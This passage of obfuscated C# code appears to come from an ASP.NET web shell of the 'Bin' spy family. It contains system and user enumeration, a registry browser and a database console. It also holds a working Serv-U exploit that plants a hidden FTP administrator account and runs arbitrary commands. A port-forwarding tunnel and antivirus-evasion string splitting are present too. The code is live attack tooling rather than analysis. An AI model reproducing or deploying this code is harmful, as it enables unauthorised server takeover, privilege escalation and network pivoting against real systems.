  964. vHCs.Controls.Add(tr);
  965. }
  966. }
  967. catch(Exception error)
  968. {
  969. oHpF();
  970. }
  971. }
  972. public void PLd()
  973. {
  974. try
  975. {
  976. WICxe();
  977. xWVQ.Visible=true;
  978. Bin_H2_Title.InnerText="User Information >>";
  979. DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  980. foreach(DirectoryEntry child in TWQ.Children)
  981. {
  982. foreach(string name in child.Properties.PropertyNames)
  983. {
  984. PropertyValueCollection pvc=child.Properties[name];
  985. int c=pvc.Count;
  986. for(int i=0;i<c;i++)
  987. {
  988. if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
  989. {
  990. string bg=OKM();
  991. TableRow tr=new TableRow();
  992. tr.Attributes["onmouseover"]="this.className='focus';";
  993. tr.CssClass=bg;
  994. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  995. TableCell td=new TableCell();
  996. td.Text=name;
  997. tr.Controls.Add(td);
  998. TableCell td1=new TableCell();
  999. td1.Text=pvc[i].ToString();
  1000. tr.Controls.Add(td1);
  1001. VPa.Controls.Add(tr);
  1002. }
  1003. }
  1004. }
  1005. TableRow trn=new TableRow();
  1006. for(int x=1;x<3;x++)
  1007. {
  1008. TableCell tdn=new TableCell();
  1009. tdn.Attributes["style"]="height:2px;background-color:#FFFFFF;";
  1010. trn.Controls.Add(tdn);
  1011. VPa.Controls.Add(trn);
  1012. }
  1013. }
  1014. }
  1015. catch(Exception error)
  1016. {
  1017. xseuB(error.Message);
  1018. }
  1019. }
  1020. public void iLVUT()
  1021. {
  1022. try
  1023. {
  1024. WICxe();
  1025. xWVQ.Visible=true;
  1026. Bin_H2_Title.InnerText="User Information >>";
  1027. DataTable user=cCf("Win32_UserAccount");
  1028. for(int i=0;i<user.Rows.Count;i++)
  1029. {
  1030. for(int j=0;j<user.Columns.Count;j++)
  1031. {
  1032. string bg=OKM();
  1033. TableRow tr=new TableRow();
  1034. tr.Attributes["onmouseover"]="this.className='focus';";
  1035. tr.CssClass=bg;
  1036. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1037. TableCell td=new TableCell();
  1038. td.Text=user.Columns[j].ToString();
  1039. tr.Controls.Add(td);
  1040. TableCell td1=new TableCell();
  1041. td1.Text=user.Rows[i][j].ToString();
  1042. tr.Controls.Add(td1);
  1043. VPa.Controls.Add(tr);
  1044. }
  1045. TableRow trn=new TableRow();
  1046. for(int x=1;x<3;x++)
  1047. {
  1048. TableCell tdn=new TableCell();
  1049. tdn.Attributes["style"]="height:2px;background-color:#FFFFFF;";
  1050. trn.Controls.Add(tdn);
  1051. VPa.Controls.Add(trn);
  1052. }
  1053. }
  1054. }
  1055. catch(Exception error)
  1056. {
  1057. PLd();
  1058. }
  1059. }
  1060. public void pDVM()
  1061. {
  1062. try
  1063. {
  1064. RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  1065. string IKjwH=DdmPl(EeZ,"PortNumber");
  1066. RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  1067. int cpu=izN.SubKeyCount;
  1068. RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
  1069. string NPPZ=DdmPl(mQII,"ProcessorNameString");
  1070. WICxe();
  1071. ghaB.Visible=true;
  1072. Bin_H2_Title.InnerText="System Information >>";
  1073. Bin_H2_Mac.InnerText="MAC Information >>";
  1074. Bin_H2_Driver.InnerText="Driver Information >>";
  1075. StringBuilder yEwc=new StringBuilder();
  1076. StringBuilder hwJeS=new StringBuilder();
  1077. StringBuilder jXkaE=new StringBuilder();
  1078. yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  1079. yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  1080. yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
  1081. yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  1082. yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  1083. yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
  1084. yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  1085. yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  1086. DataTable BIOS=cCf("Win32_BIOS");
  1087. yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  1088. yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  1089. yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
  1090. DataTable upM=cCf("Win32_PhysicalMemory");
  1091. Int64 oZnZV=0;
  1092. for(int i=0;i<upM.Rows.Count;i++)
  1093. {
  1094. oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
  1095. }
  1096. yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
  1097. DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
  1098. for(int i=0;i<dOza.Rows.Count;i++)
  1099. {
  1100. hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
  1101. if(dOza.Rows[i]["MACAddress"]!=string.Empty)
  1102. {
  1103. hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
  1104. }
  1105. }
  1106. DataTable Driver=cCf("Win32_SystemDriver");
  1107. for (int i=0; i<Driver.Rows.Count; i++)
  1108. {
  1109. jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  1110. if (Driver.Rows[i]["PathName"]!=string.Empty)
  1111. {
  1112. jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
  1113. }
  1114. else
  1115. {
  1116. jXkaE.Append("No path information");
  1117. }
  1118. jXkaE.Append("</li>");
  1119. }
  1120. Bin_Ul_Sys.InnerHtml=yEwc.ToString();
  1121. Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
  1122. Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
  1123. }
  1124. catch(Exception error)
  1125. {
  1126. xseuB(error.Message);
  1127. }
  1128. }
  1129. public void ADCpk()
  1130. {
  1131. WICxe();
  1132. APl.Visible=true;
  1133. Bin_H2_Title.InnerText="Serv-U Exec >>";
  1134. }
  1135. public void lDODR()
  1136. {
  1137. string JGGg=string.Empty;
  1138. string user=dNohJ.Value;
  1139. string pass=NMd.Value;
  1140. int port=Int32.Parse(HlQl.Value);
  1141. string cmd=mHbjB.Value;
  1142. string CRtK="user "+user+"\r\n";
  1143. string jnNG="pass "+pass+"\r\n";
  1144. string site="SITE MAINTENANCE\r\n";
  1145. string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1146. string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1147. string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1148. string zexn="QUIT\r\n";
  1149. UHlA.Visible=true;
  1150. try
  1151. {
  1152. tcp.Connect("127.0.0.1",port);
  1153. tcp.ReceiveBufferSize=1024;
  1154. NS=tcp.GetStream();
  1155. Rev(NS);
  1156. ZJiM(NS,CRtK);
  1157. Rev(NS);
  1158. ZJiM(NS,jnNG);
  1159. Rev(NS);
  1160. ZJiM(NS,site);
  1161. Rev(NS);
  1162. ZJiM(NS,mtoJb);
  1163. Rev(NS);
  1164. ZJiM(NS,sutI);
  1165. Rev(NS);
  1166. ZJiM(NS,iVDT);
  1167. Rev(NS);
  1168. Bin_Td_Res.InnerHtml+="<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
  1169. zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
  1170. NS1=zvxm.GetStream();
  1171. Rev(NS1);
  1172. ZJiM(NS1,"user bin\r\n");
  1173. Rev(NS1);
  1174. ZJiM(NS1,"pass binftp\r\n");
  1175. Rev(NS1);
  1176. ZJiM(NS1,"site exec "+cmd+"\r\n");
  1177. Rev(NS1);
  1178. ZJiM(NS1,"quit\r\n");
  1179. Rev(NS1);
  1180. zvxm.Close();
  1181. ZJiM(NS,mtoJb);
  1182. Rev(NS);
  1183. tcp.Close();
  1184. }
  1185. catch(Exception error)
  1186. {
  1187. xseuB(error.Message);
  1188. }
  1189. }
  1190. protected void Rev(NetworkStream instream)
  1191. {
  1192. string FTBtf=string.Empty;
  1193. if(instream.CanRead)
  1194. {
  1195. byte[] uPZ=new byte[1024];
  1196. do
  1197. {
  1198. System.Threading.Thread.Sleep(50);
  1199. int len=instream.Read(uPZ,0,uPZ.Length);
  1200. FTBtf+=Encoding.Default.GetString(uPZ,0,len);
  1201. }
  1202. while(instream.DataAvailable);
  1203. }
  1204. Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
  1205. }
  1206. protected void ZJiM(NetworkStream instream,string Sendstr)
  1207. {
  1208. if(instream.CanWrite)
  1209. {
  1210. byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
  1211. instream.Write(uPZ,0,uPZ.Length);
  1212. }
  1213. Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
  1214. }
  1215. public void xFhz()
  1216. {
  1217. WICxe();
  1218. kkHN.Visible=true;
  1219. Bin_H2_Title.InnerText="RegShell >>";
  1220. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1221. vyX.Text="";
  1222. foreach(string rootkey in txc.Split('|'))
  1223. {
  1224. vyX.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a> | ";
  1225. }
  1226. lFAvw();
  1227. }
  1228. protected void lFAvw()
  1229. {
  1230. qPdI.Text="";
  1231. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1232. TableRow tr;
  1233. TableCell tc;
  1234. foreach(string rootkey in txc.Split('|'))
  1235. {
  1236. tr=new TableRow();
  1237. tc=new TableCell();
  1238. string bg=OKM();
  1239. tr.Attributes["onmouseover"]="this.className='focus';";
  1240. tr.CssClass=bg;
  1241. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1242. tc.Width=Unit.Parse("40%");
  1243. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a>";
  1244. tr.Cells.Add(tc);
  1245. tc=new TableCell();
  1246. tc.Width=Unit.Parse("60%");
  1247. tc.Text="&lt;RootKey&gt;";
  1248. tr.Cells.Add(tc);
  1249. pLWD.Rows.Add(tr);
  1250. }
  1251. }
  1252. protected void tpRQ(string Reg_Path)
  1253. {
  1254. if(!Reg_Path.EndsWith("\\"))
  1255. {
  1256. Reg_Path=Reg_Path+"\\";
  1257. }
  1258. qPdI.Text=Reg_Path;
  1259. string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  1260. cJG=Regex.Replace(cJG,@"\\+","\\");
  1261. TableRow tr=new TableRow();
  1262. TableCell tc=new TableCell();
  1263. string bg=OKM();
  1264. tr.Attributes["onmouseover"]="this.className='focus';";
  1265. tr.CssClass=bg;
  1266. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1267. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')\">Parent Key</a>";
  1268. tc.Attributes["colspan"]="2" ;
  1269. tr.Cells.Add(tc);
  1270. pLWD.Rows.Add(tr);
  1271. try
  1272. {
  1273. string subpath;
  1274. string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
  1275. RegistryKey rk=null;
  1276. RegistryKey sk;
  1277. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
  1278. {
  1279. rk=Registry.LocalMachine;
  1280. }
  1281. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
  1282. {
  1283. rk=Registry.ClassesRoot;
  1284. }
  1285. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
  1286. {
  1287. rk=Registry.CurrentUser;
  1288. }
  1289. else if(Reg_Path.StartsWith("HKEY_USERS"))
  1290. {
  1291. rk=Registry.Users;
  1292. }
  1293. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
  1294. {
  1295. rk=Registry.CurrentConfig;
  1296. }
  1297. if(kDgkX.Length>1)
  1298. {
  1299. sk=rk.OpenSubKey(kDgkX);
  1300. }
  1301. else
  1302. {
  1303. sk=rk;
  1304. }
  1305. foreach(string innerSubKey in sk.GetSubKeyNames())
  1306. {
  1307. tr=new TableRow();
  1308. tc=new TableCell();
  1309. bg=OKM();
  1310. tr.Attributes["onmouseover"]="this.className='focus';";
  1311. tr.CssClass=bg;
  1312. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1313. tc.Width=Unit.Parse("40%");
  1314. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
  1315. tr.Cells.Add(tc);
  1316. tc=new TableCell();
  1317. tc.Width=Unit.Parse("60%");
  1318. tc.Text="&lt;SubKey&gt;";
  1319. tr.Cells.Add(tc);
  1320. pLWD.Rows.Add(tr);
  1321. }
  1322. TableRow cKVA=new TableRow();
  1323. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  1324. cKVA.Attributes["bgcolor"]="#dddddd";
  1325. TableCell JlmW=new TableCell();
  1326. JlmW.Attributes["colspan"]="2" ;
  1327. JlmW.Attributes["height"]="5";
  1328. cKVA.Cells.Add(JlmW);
  1329. pLWD.Rows.Add(cKVA);
  1330. foreach(string strValueName in sk.GetValueNames())
  1331. {
  1332. tr=new TableRow();
  1333. tc=new TableCell();
  1334. bg=OKM();
  1335. tr.Attributes["onmouseover"]="this.className='focus';";
  1336. tr.CssClass=bg;
  1337. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1338. tc.Width=Unit.Parse("40%");
  1339. tc.Text=strValueName;
  1340. tr.Cells.Add(tc);
  1341. tc=new TableCell();
  1342. tc.Width=Unit.Parse("60%");
  1343. tc.Text=DdmPl(sk,strValueName);
  1344. tr.Cells.Add(tc);
  1345. pLWD.Rows.Add(tr);
  1346. }
  1347. }
  1348. catch(Exception error)
  1349. {
  1350. xseuB(error.Message);
  1351. }
  1352. }
  1353. public string DdmPl(RegistryKey sk,string strValueName)
  1354. {
  1355. object uPZ;
  1356. string RaTGr="";
  1357. try
  1358. {
  1359. uPZ=sk.GetValue(strValueName,"NULL");
  1360. if(uPZ.GetType()==typeof(byte[]))
  1361. {
  1362. foreach(byte tmpbyte in(byte[])uPZ)
  1363. {
  1364. if((int)tmpbyte<16)
  1365. {
  1366. RaTGr+="0";
  1367. }
  1368. RaTGr+=tmpbyte.ToString("X");
  1369. }
  1370. }
  1371. else if(uPZ.GetType()==typeof(string[]))
  1372. {
  1373. foreach(string tmpstr in(string[])uPZ)
  1374. {
  1375. RaTGr+=tmpstr;
  1376. }
  1377. }
  1378. else
  1379. {
  1380. RaTGr=uPZ.ToString();
  1381. }
  1382. }
  1383. catch(Exception error)
  1384. {
  1385. xseuB(error.Message);
  1386. }
  1387. return RaTGr;
  1388. }
  1389. public void vNCHZ()
  1390. {
  1391. WICxe();
  1392. YwLB.Visible=true;
  1393. Bin_H2_Title.InnerText="PortScan >>";
  1394. }
  1395. public void rAhe()
  1396. {
  1397. WICxe();
  1398. iDgmL.Visible=true;
  1399. dQIIF.Visible=false;
  1400. Bin_H2_Title.InnerText="DataBase >>";
  1401. }
  1402. protected void OUj()
  1403. {
  1404. if(Dtdr.State==ConnectionState.Closed)
  1405. {
  1406. try
  1407. {
  1408. Dtdr.ConnectionString=MasR.Text;
  1409. Kkvb.Connection=Dtdr;
  1410. Dtdr.Open();
  1411. }
  1412. catch(Exception Error)
  1413. {
  1414. xseuB(Error.Message);
  1415. }
  1416. }
  1417. }
  1418. protected void fUzE()
  1419. {
  1420. if(Dtdr.State==ConnectionState.Open)
  1421. Dtdr.Close();
  1422. Dtdr.Dispose();
  1423. Kkvb.Dispose();
  1424. }
  1425. public DataTable CYUe(string sqlstr)
  1426. {
  1427. OleDbDataAdapter da=new OleDbDataAdapter();
  1428. DataTable Dstog=new DataTable();
  1429. try
  1430. {
  1431. OUj();
  1432. Kkvb.CommandType=CommandType.Text;
  1433. Kkvb.CommandText=sqlstr;
  1434. da.SelectCommand=Kkvb;
  1435. da.Fill(Dstog);
  1436. }
  1437. catch(Exception)
  1438. {
  1439. }
  1440. finally
  1441. {
  1442. fUzE();
  1443. }
  1444. return Dstog;
  1445. }
  1446. public DataTable[] Bin_Data(string query)
  1447. {
  1448. ArrayList list=new ArrayList();
  1449. try
  1450. {
  1451. string str;
  1452. OUj();
  1453. query=query+"\r\n";
  1454. MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
  1455. int EmRX=0;
  1456. for(int i=0;i<gcod.Count;i++)
  1457. {
  1458. Match FJD=gcod[i];
  1459. str=query.Substring(EmRX,FJD.Index-EmRX);
  1460. if(str.Trim().Length>0)
  1461. {
  1462. OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
  1463. Kkvb.CommandType=CommandType.Text;
  1464. Kkvb.CommandText=str.Trim();
  1465. FgzeQ.SelectCommand=Kkvb;
  1466. DataSet cDPp=new DataSet();
  1467. FgzeQ.Fill(cDPp);
  1468. for(int j=0;j<cDPp.Tables.Count;j++)
  1469. {
  1470. list.Add(cDPp.Tables[j]);
  1471. }
  1472. }
  1473. EmRX=FJD.Index+3;
  1474. }
  1475. str=query.Substring(EmRX,query.Length-EmRX);
  1476. if(str.Trim().Length>0)
  1477. {
  1478. OleDbDataAdapter VwB=new OleDbDataAdapter();
  1479. Kkvb.CommandType=CommandType.Text;
  1480. Kkvb.CommandText=str.Trim();
  1481. VwB.SelectCommand=Kkvb;
  1482. DataSet arG=new DataSet();
  1483. VwB.Fill(arG);
  1484. for(int k=0;k<arG.Tables.Count;k++)
  1485. {
  1486. list.Add(arG.Tables[k]);
  1487. }
  1488. }
  1489. }
  1490. catch(SqlException e)
  1491. {
  1492. xseuB(e.Message);
  1493. rom.Visible=false;
  1494. }
  1495. return(DataTable[])list.ToArray(typeof(DataTable));
  1496. }
  1497. public void JIAKU(string instr)
  1498. {
  1499. try
  1500. {
  1501. OUj();
  1502. Kkvb.CommandType=CommandType.Text;
  1503. Kkvb.CommandText=instr;
  1504. Kkvb.ExecuteNonQuery();
  1505. }
  1506. catch(Exception e)
  1507. {
  1508. xseuB(e.Message);
  1509. }
  1510. }
  1511. public void dwgT()
  1512. {
  1513. try
  1514. {
  1515. OUj();
  1516. if(WYmo.SelectedItem.Text=="MSSQL")
  1517. {
  1518. if(Pvf.SelectedItem.Value!="")
  1519. {
  1520. Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
  1521. }
  1522. }
  1523. DataTable[] jxF=null;
  1524. jxF=Bin_Data(jHIy.InnerText);
  1525. if(jxF!=null && jxF.Length>0)
  1526. {
  1527. for(int j=0;j<jxF.Length;j++)
  1528. {
  1529. rom.PreRender+=new EventHandler(lRavM);
  1530. rom.DataSource=jxF[j];
  1531. rom.DataBind();
  1532. for(int i=0;i<rom.Items.Count;i++)
  1533. {
  1534. string bg=OKM();
  1535. rom.Items[i].CssClass=bg;
  1536. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1537. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1538. }
  1539. }
  1540. }
  1541. else
  1542. {
  1543. rom.DataSource=null;
  1544. rom.DataBind();
  1545. }
  1546. rom.Visible=true;
  1547. }
  1548. catch(Exception e)
  1549. {
  1550. xseuB(e.Message);
  1551. rom.Visible=false;
  1552. }
  1553. }
  1554. public void xTZY()
  1555. {
  1556. try
  1557. {
  1558. if(WYmo.SelectedItem.Text=="MSSQL")
  1559. {
  1560. if(Pvf.SelectedItem.Value=="")
  1561. {
  1562. rom.DataSource=null;
  1563. rom.DataBind();
  1564. return;
  1565. }
  1566. }
  1567. OUj();
  1568. DataTable zKvOw=new DataTable();
  1569. DataTable jxF=new DataTable();
  1570. DataTable baVJV=new DataTable();
  1571. if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
  1572. {
  1573. Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
  1574. }
  1575. zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
  1576. jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
  1577. foreach(DataRow dr in zKvOw.Rows)
  1578. {
  1579. jxF.ImportRow(dr);
  1580. }
  1581. jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
  1582. rom.PreRender+=new EventHandler(lRavM);
  1583. rom.DataSource=jxF;
  1584. rom.DataBind();
  1585. for(int i=0;i<rom.Items.Count;i++)
  1586. {
  1587. string bg=OKM();
  1588. rom.Items[i].CssClass=bg;
  1589. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1590. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1591. }
  1592. rom.Visible=true;
  1593. }
  1594. catch(Exception e)
  1595. {
  1596. xseuB(e.Message);
  1597. rom.Visible=false;
  1598. }
  1599. }
  1600. private void lRavM(object sender,EventArgs e)
  1601. {
  1602. DataGrid d=(DataGrid)sender;
  1603. foreach(DataGridItem item in d.Items)
  1604. {
  1605. foreach(TableCell t in item.Cells)
  1606. {
  1607. t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
  1608. }
  1609. }
  1610. }
  1611. public void vCf()
  1612. {
  1613. dQIIF.Visible=true;
  1614. try
  1615. {
  1616. jHIy.InnerHtml=string.Empty;
  1617. if(WYmo.SelectedItem.Text=="MSSQL")
  1618. {
  1619. rom.Visible=false;
  1620. uXevN.Visible=true;
  1621. irTU.Visible=true;
  1622. OUj();
  1623. DataTable ver=CYUe(@"SELECT @@VERSION");
  1624. DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
  1625. DataTable cdb=CYUe(@"SELECT DB_NAME()");
  1626. DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  1627. DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
  1628. string jHlh=ver.Rows[0][0].ToString();
  1629. string dbo=string.Empty;
  1630. if(YKrm.Rows[0][0].ToString()=="1")
  1631. {
  1632. dbo="db_owner";
  1633. }
  1634. else
  1635. {
  1636. dbo="public";
  1637. }
  1638. if(rol.Rows[0][0].ToString()=="1")
  1639. {
  1640. dbo="<font color=blue>sa</font>";
  1641. }
  1642. string db_name=string.Empty;
  1643. foreach(ListItem item in FGEy.Items)
  1644. {
  1645.  if(item.Selected=true)
  1646.  {
  1647.  item.Selected=false;
  1648.  }
  1649. }
  1650. Pvf.Items.Clear();
  1651. Pvf.Items.Add("-- Select a DataBase --");
  1652. Pvf.Items[0].Value="";
  1653. for(int i=0;i<dbs.Rows.Count;i++)
  1654. {
  1655. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  1656. Pvf.Items.Add(dbs.Rows[i][0].ToString());
  1657. }
  1658. irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  1659. }
  1660. else
  1661. {
  1662. uXevN.Visible=false;
  1663. irTU.Visible=false;
  1664. xTZY();
  1665. }
  1666. }
  1667. catch(Exception e)
  1668. {
  1669. dQIIF.Visible=false;
  1670. }
  1671. }
  1672. public void MHLv()
  1673. {
  1674. WICxe();
  1675. hOWTm.Visible=true;
  1676. string miansha1="P"+"o"+"r"+"t"+"M"+"a"+"p"+" "+">"+">";
  1677. Bin_H2_Title.InnerText=miansha1;
  1678. }
  1679. public class PortForward
  1680. {
  1681. public string Localaddress;
  1682. public int LocalPort;
  1683. public string RemoteAddress;
  1684. public int RemotePort;
  1685. string type;
  1686. Socket ltcpClient;
  1687. Socket rtcpClient;
  1688. Socket server;
  1689. byte[] DPrPL=new byte[2048];
  1690. byte[] wvZv=new byte[2048];
  1691. public struct session
  1692. {
  1693. public Socket rdel;
  1694. public Socket ldel;
  1695. public int llen;
  1696. public int rlen;
  1697. }
  1698. public static IPEndPoint mtJ(string host,int port)
  1699. {
  1700. IPEndPoint iep=null;
  1701. IPHostEntry aGN=Dns.Resolve(host);
  1702. IPAddress rmt=aGN.AddressList[0];
  1703. iep=new IPEndPoint(rmt,port);
  1704. return iep;
  1705. }
  1706. public void Start(string Rip,int Rport,string lip,int lport)
  1707. {
  1708. try
  1709. {
  1710. LocalPort=lport;
  1711. RemoteAddress=Rip;
  1712. RemotePort=Rport;
  1713. Localaddress=lip;
  1714. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1715. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1716. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
  1717. }
  1718. catch (Exception ex) { }
  1719. }
  1720. protected void iiGFO(IAsyncResult ar)
  1721. {
  1722. try
  1723. {
  1724. session RKXy=new session();
  1725. RKXy.ldel=ltcpClient;
  1726. RKXy.rdel=rtcpClient;
  1727. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
  1728. }
  1729. catch (Exception ex) { }
  1730. }
  1731. protected void VTp(IAsyncResult ar)
  1732. {
  1733. try
  1734. {
  1735. session RKXy=(session)ar.AsyncState;
  1736. ltcpClient.EndConnect(ar);
  1737. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
  1738. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
  1739. }
  1740. catch (Exception ex) { }
  1741. }
  1742. private void LFYM(IAsyncResult ar)
  1743. {
  1744. try
  1745. {
  1746. session RKXy=(session)ar.AsyncState;
  1747. int Ret=RKXy.rdel.EndReceive(ar);
  1748. if (Ret>0)
  1749. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
  1750. else lyTOK();
  1751. }
  1752. catch (Exception ex) { }
  1753. }
  1754. private void JTcp(IAsyncResult ar)
  1755. {
  1756. try
  1757. {
  1758. session RKXy=(session)ar.AsyncState;
  1759. RKXy.ldel.EndSend(ar);
  1760. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
  1761. }
  1762. catch (Exception ex) { }
  1763. }
  1764. private void xPS(IAsyncResult ar)
  1765. {
  1766. try
  1767. {
  1768. session RKXy=(session)ar.AsyncState;
  1769. int Ret=RKXy.ldel.EndReceive(ar);
  1770. if (Ret>0)
  1771. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
  1772. else lyTOK();
  1773. }
  1774. catch (Exception ex) { }
  1775. }
  1776. private void IZU(IAsyncResult ar)
  1777. {
  1778. try
  1779. {
  1780. session RKXy=(session)ar.AsyncState;
  1781. RKXy.rdel.EndSend(ar);
  1782. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
  1783. }
  1784. catch (Exception ex) { }
  1785. }
  1786. public void lyTOK()
  1787. {
  1788. try
  1789. {
  1790. if (ltcpClient!=null)
  1791. {
  1792. ltcpClient.Close();
  1793. }
  1794. if (rtcpClient!=null)
  1795. rtcpClient.Close();
  1796. }
  1797. catch (Exception ex) { }
  1798. }
  1799. }
  1800. protected void vuou()
  1801. {
